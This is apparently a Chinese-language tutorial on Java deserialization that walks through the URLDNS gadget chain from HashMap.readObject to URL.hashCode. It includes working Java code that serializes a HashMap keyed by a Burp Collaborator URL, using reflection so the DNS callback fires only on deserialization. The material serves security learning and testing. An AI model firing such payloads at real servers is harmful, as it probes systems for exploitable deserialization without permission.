简介

URLDNS是Java反序列化中比较简单的一个链,由于URLDNS不依赖第三方包,同时不限制JDK版本,所以常用于检测反序列化的点

URLDNS不能执行命令,只能发送DNS请求

序列化和反序列化

序列化是为了将对象进行长期存储而诞生的方法,反序列化就是将存储的序列化内容恢复成对象

把java对象变成一个字节

Java的序列化和反序列化主要是writeObject和readObject函数,Java允许开发者对readObject进行功能的补充,故反序列化的时候会优先使用这个重写方法,所以开发者编写不当会造成任意命令执行。

要求

  1. 继承Serializable接口,但这个接口什么都没有[空接口],是一个标志
  2. 静态成员变量和transient标识的对象不能被反序列化

要序列化一个对象,首先创建OutputStream对象

再将其封装在一个ObjectOutputstream对象内

接着只需要调用writeObject()即可将对象序列化,并将其发送给OutputStram

  • 只要服务端反序列化数据,客户端传递类的readobject中的代码会自动执行,给予攻击者在服务端允许代码的能力

可能实现的方法

  1. 入口类的readobject直接调用危险方法
  2. 入口类参数中包含可控参数,该类有危险方法,readobject时调用
  3. 入口类参数中包含可控类,该类又调用其他有危险类的方法,readobject时调用

继承Serializable接口,入口类source(重写readobject 参数类型宽泛[Map] 最好jdk自带)

image-20211213141652279.png

image-20211213141803759.png

image-20211213142021430.png
image-20211213142041847.png

hash函数会调用传入对象的hashCode函数,下面我们传入的就是URL

URLDNS

利用链,也叫做gadget chains

  1. * HashMap.readObject()
  2. * HashMap.putVal()
  3. * HashMap.hash()
  4. * URL.hashCode()

image-20211213142728092.png
image-20211213142859703.png

  1. 查找接口的实现类: IDEA风格 ctrl + alt +B 在按F2查看详细文档注解 查看类或接口的继承关系: ctrl + h

image-20211213143015328.png

容易实现的

image-20211213143235054.png

image-20211213143321728.png

如果调用了URL类的hashcode函数,会做一个DNS请求

  1. import java.io.FileOutputStream;
  2. import java.io.ObjectOutputStream;
  3. import java.net.URL;
  4. import java.util.HashMap;
  5. public class Main {
  6. public static void serialize(Object obj)throws Exception{
  7. ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
  8. objectOutputStream.writeObject(obj);
  9. }
  10. public static void main(String[] args) throws Exception {
  11. HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
  12. objectObjectHashMap.put(new URL("http://gwguroswqw80huhvyiifuoppkgq6ev.burpcollaborator.net"),1);
  13. serialize(objectObjectHashMap);
  14. }
  15. }

image-20211213144053448.png

序列化操作是便接收到请求了

image-20211213144152734.png

在put时候就调用了hash方法了,保证键的唯一的操作

image-20211213144341308.png

hashcode在初始化的时候是-1,赋值以后值改变了

故反序列化时 不会收到请求
image-20211213144717392.png

  1. import java.io.FileInputStream;
  2. import java.io.ObjectInputStream;
  3. public class test {
  4. public static Object unserialize(String filename) throws Exception{
  5. ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
  6. Object o = objectInputStream.readObject();
  7. return o;
  8. }
  9. public static void main(String[] args) throws Exception {
  10. unserialize("ser.bin");
  11. }
  12. }

解决问题

  1. //import jdk.internal.ref.PhantomCleanable;
  2. import java.io.FileOutputStream;
  3. import java.io.ObjectOutputStream;
  4. import java.lang.reflect.Field;
  5. import java.net.URL;
  6. import java.util.HashMap;
  7. public class Main {
  8. public static void serialize(Object obj)throws Exception{
  9. ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
  10. objectOutputStream.writeObject(obj);
  11. }
  12. public static void main(String[] args) throws Exception {
  13. HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
  14. //在这里不要发送请求
  15. //把url hashcode改成不是-1
  16. URL url = new URL("http://gwguroswqw80huhvyiifuoppkgq6ev.burpcollaborator.net");
  17. Class aClass = url.getClass();
  18. Field hashcodes = aClass.getDeclaredField("hashCode");
  19. hashcodes.setAccessible(true);
  20. hashcodes.set(url,1234);
  21. objectObjectHashMap.put(url,1);
  22. hashcodes.set(url,-1);
  23. //把hashcode变为-1
  24. serialize(objectObjectHashMap);
  25. }
  26. }

入口A HashMap ,接受参数O

目标类B

目标调用B.f

A.readObject -> O(B)[传入B].f
image-20211213145929188.png